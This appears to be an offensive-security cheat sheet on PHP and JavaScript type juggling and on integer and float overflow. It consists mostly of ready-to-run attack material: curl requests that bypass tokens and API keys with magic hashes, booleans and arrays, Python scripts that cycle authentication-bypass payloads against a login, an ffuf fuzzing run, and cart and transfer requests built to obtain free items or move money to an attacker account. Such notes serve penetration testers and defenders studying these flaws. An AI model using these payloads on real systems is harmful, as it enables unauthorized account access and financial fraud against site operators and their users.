# Truth table for PHP loose comparison (==) — use to craft bypass:

# String vs Boolean:
# "admin" == true   → TRUE
# ""      == false  → TRUE
# "0"     == false  → TRUE
# "1"     == true   → TRUE

# String vs Integer:
# "1abc" == 1       → TRUE (PHP < 8)
# "0"    == false   → TRUE
# "0"    == 0       → TRUE
# ""     == 0       → TRUE (PHP < 8)
# "0e5"  == 0       → TRUE (scientific notation = 0)

# Null comparisons:
# null == false     → TRUE
# null == 0         → TRUE
# null == ""        → TRUE
# null == "0"       → FALSE (exact: null != "0")

# Applications in attacks:

# 1. Token validation bypass:
# if ($token == $_GET['token']) → use token=0 or token=true
curl "https://target.com/reset?token=0&email=admin@target.com"
curl "https://target.com/reset?token=true&email=admin@target.com"

# 2. Version comparison bypass:
# if ($version == "2.0") → send "2" or "2.0abc" (PHP < 8)
curl "https://target.com/api?version=2"

# 3. API key comparison:
# if ($key == $stored_key) → if stored_key is "0e..." send any other "0e..." string
curl "https://target.com/api?key=0e0" -H "X-API-Key: 0e0"

# 4. JSON type injection (PHP decodes JSON → PHP types):
# json_decode('{"admin":true}') → stdObject with admin=TRUE
# if ($input->admin == true) → always true
curl -X POST https://target.com/api \
  -H "Content-Type: application/json" \
  -d '{"username":"test","isAdmin":true,"role":1}'

# 5. switch() type juggling:
# switch ("0e1234") { case 0: ... } → matches case 0!
# Send: "0e0" to any switch-based comparison

// JS == operator coercion rules:
// null == undefined     → true
// 0 == false            → true
// "" == false           → true
// "" == 0               → true
// "1" == true           → true
// [] == false           → true
// [] == 0               → true
// [] == ""              → true
// [[]] == 0             → true
// [1] == 1              → true
// [1,2] == "1,2"        → true
// NaN == NaN            → FALSE (NaN is never equal)

// Attack scenarios:

// 1. Node.js authentication with loose comparison:
// if (req.body.password == storedPassword)
// → send: password=true, password=0, password=[]

// 2. Express.js query parameter type confusion:
// GET /admin?admin=true → req.query.admin === "true" (string) → fine
// GET /admin?admin[]=1  → req.query.admin = ["1"] (array) → truthy → bypass if == check

// 3. NoSQL MongoDB operator injection via type confusion:
// username[$ne]=x → MongoDB operator, not string → bypass

// 4. Number parsing edge cases:
// parseInt("9e9") === 9         (stops at 'e', base 10)
// parseFloat("9e9") === 9000000000
// +"" === 0
// +"   " === 0
// +null === 0
// +undefined === NaN
// +[] === 0
// +[1] === 1
// +[1,2] === NaN

// If server validates: if (parseInt(id) > 0) — bypass with:
// id="9abc" → parseInt = 9 (passes), but actual lookup uses "9abc"
// id="0.1"  → parseInt = 0 (fails), parseFloat = 0.1 (may pass)

// 5. JSON null bypass:
// POST {"userId": null} → if (!userId) check may pass with null being falsy
// POST {"role": null}   → typeof null === "object" (JS quirk)

# Shopping cart — overflow total price:
# If server uses 32-bit int for price (cents): max = 2147483647 ($21,474,836.47)
# Overflow: 2147483647 + 1 = -2147483648 (negative!)

POST /api/cart/update HTTP/1.1
Content-Type: application/json

{"productId": "PROD1", "quantity": 2147483647}
# If price_total = price * quantity overflows → negative total → free items

# Or directly:
{"productId": "PROD1", "quantity": -1}
# Negative quantity → negative price → store owes you money

{"productId": "PROD1", "quantity": 0}
# Zero quantity bypasses minimum order validation

# Large offset in pagination (LIMIT/OFFSET SQL):
GET /api/items?page=1&limit=9999999999 HTTP/1.1
# May cause OFFSET integer overflow in SQL → unexpected results

# Negative page offset:
GET /api/items?page=-1&offset=-100 HTTP/1.1
# May return results from before expected range

# Transfer amount overflow:
POST /api/transfer HTTP/1.1
Content-Type: application/json

{"from": "USER_ACCT", "to": "ATTACKER_ACCT", "amount": -1000}
# Negative transfer → adds to source account, subtracts from destination

{"from": "USER_ACCT", "to": "ATTACKER_ACCT", "amount": 9223372036854775808}
# 2^63: int64 overflow → wraps to -9223372036854775808 → negative balance credited

# Promo code: apply 100% discount → integer underflow in remaining amount:
POST /api/promo HTTP/1.1
Content-Type: application/json

{"code": "DISCOUNT100", "amount": 999999}
# If discount = min(amount, promo_max) and promo_max uses unsigned subtraction...

#!/usr/bin/env python3
"""
Floating point edge cases for price/amount manipulation
"""
import requests

TARGET = "https://target.com/api/order"
HEADERS = {"Authorization": "Bearer TOKEN", "Content-Type": "application/json"}

# Float precision abuse:
float_payloads = [
    # Very small positive number:
    {"amount": 0.000000001, "desc": "tiny positive"},
    # Just below validation threshold:
    {"amount": 0.009, "desc": "below min threshold"},
    # NaN via JSON (not standard but some parsers accept):
    # {"amount": float('nan')} — can't serialize NaN in JSON directly
    # But try string:
    {"amount": "NaN", "desc": "NaN string"},
    {"amount": "Infinity", "desc": "Infinity string"},
    {"amount": float('inf'), "desc": "float infinity"},  # serializes to: Infinity (invalid JSON)
    # Negative zero:
    {"amount": -0.0, "desc": "negative zero"},
    # Overflow double:
    {"amount": 1.7976931348623157e+308, "desc": "max double"},
    {"amount": 1.7976931348623157e+309, "desc": "double overflow → Infinity"},
]

for payload in float_payloads:
    try:
        import json
        body = json.dumps({"productId": "ITEM1", "quantity": 1,
                           "price": payload["amount"]})
        r = requests.post(TARGET, headers=HEADERS, data=body, timeout=5)
        print(f"[{payload['desc']}] Status: {r.status_code} → {r.text[:100]}")
    except Exception as e:
        print(f"[{payload['desc']}] Error: {e}")

# PHP-specific: send very large integer as string to trigger intval() overflow:
large_ints = [
    "2147483648",          # 2^31 — int32 overflow
    "4294967296",          # 2^32
    "9223372036854775808", # 2^63 — int64 overflow on 64-bit
    "99999999999999999999999999999",  # bignum
    "2147483647.9",        # float just below int32 max
]

for val in large_ints:
    r = requests.post(TARGET, headers=HEADERS,
                      json={"productId": "ITEM1", "quantity": val})
    print(f"[int:{val[:20]}] Status: {r.status_code} → {r.text[:80]}")

# Test API token comparison weakness:

# If server compares token with == instead of ===:
# Token "0e1234..." → magic hash bypass
curl "https://target.com/api/data" \
  -H "X-API-Key: 0e0" \
  -H "Content-Type: application/json"

# Boolean true in JSON (some frameworks auto-cast):
curl "https://target.com/api/data" \
  -H "Content-Type: application/json" \
  -d '{"apiKey": true, "token": true}'

# Integer 0 (equals any empty/zero string in PHP):
curl "https://target.com/api/data?token=0"
curl "https://target.com/api/data?token=0&token=true"

# Array bypass for strcmp():
# strcmp(array, "token") → NULL (warning) → NULL == 0 → auth bypass
curl "https://target.com/api/verify?token[]=1"

# Numeric string comparison (Python Decimal/float edge cases):
# "1e2" == "100" in some comparison contexts
curl "https://target.com/api/data?version=1e0"  # = version 1.0

# Test for hash comparison timing attack + type confusion:
# If: hash_hmac('sha256', $input, $secret) == $provided_hmac
# And secret starts with 0e: try providing 0e followed by digits
for hash_val in "0e0" "0e1" "0e12345" "0e999999999999"; do
  resp=$(curl -s "https://target.com/api/webhook?hmac=$hash_val&data=test")
  echo "hmac=$hash_val → $resp"
done

# PHP JSON type injection — json_decode converts JSON types to PHP types:
# true → (bool)true, 1 → (int)1, "1" → (string)"1"
# if ($data->admin == true) → send: {"admin": true}
curl -X POST https://target.com/api/action \
  -H "Content-Type: application/json" \
  -d '{"action":"sensitive","admin":true,"superuser":1,"bypass":"1"}'

# Find PHP loose comparison vulnerabilities:
# HashClash / magic hash database:
# https://github.com/spaze/hashes

# PHP 8 changed behavior — identify PHP version first:
curl -I https://target.com/ | grep -i "x-powered-by\|php"
# PHP 7.x and below → loose comparison more exploitable
# PHP 8.0+ → "0" == 0 is now FALSE (strict numeric comparison)

# Type juggling test script:
python3 << 'EOF'
import requests

target = "https://target.com/login"
payloads = [
    {"username": "admin", "password": "240610708"},       # MD5 magic hash
    {"username": "admin", "password": "QNKCDZO"},         # MD5 magic hash
    {"username": "admin", "password": True},               # boolean true
    {"username": "admin", "password": 0},                  # integer 0
    {"username": "admin", "password": ""},                 # empty string
    {"username": "admin", "password": None},               # null
    {"username": "admin", "password": []},                 # empty array
    {"username": "admin", "password": "aabC9RqS"},        # another magic hash
]

for payload in payloads:
    r = requests.post(target, json=payload)
    if "welcome" in r.text.lower() or "dashboard" in r.text.lower() or r.status_code == 302:
        print(f"[!!!] AUTH BYPASS: {payload}")
    else:
        print(f"[ ] Failed: {payload['password']} → {r.status_code}")
EOF

# ffuf — fuzz numeric parameters for overflow:
ffuf -u "https://target.com/api/cart?quantity=FUZZ" \
  -H "Authorization: Bearer TOKEN" \
  -w - << 'WORDLIST'
-1
0
2147483647
2147483648
4294967295
4294967296
9223372036854775807
9223372036854775808
-2147483648
-9223372036854775808
0.1
0.001
-0.1
Infinity
NaN
WORDLIST

# Detect integer overflow in responses — look for negative values:
curl -s "https://target.com/api/cart" \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"quantity":9223372036854775808}' | python3 -m json.tool | grep -E '"-[0-9]'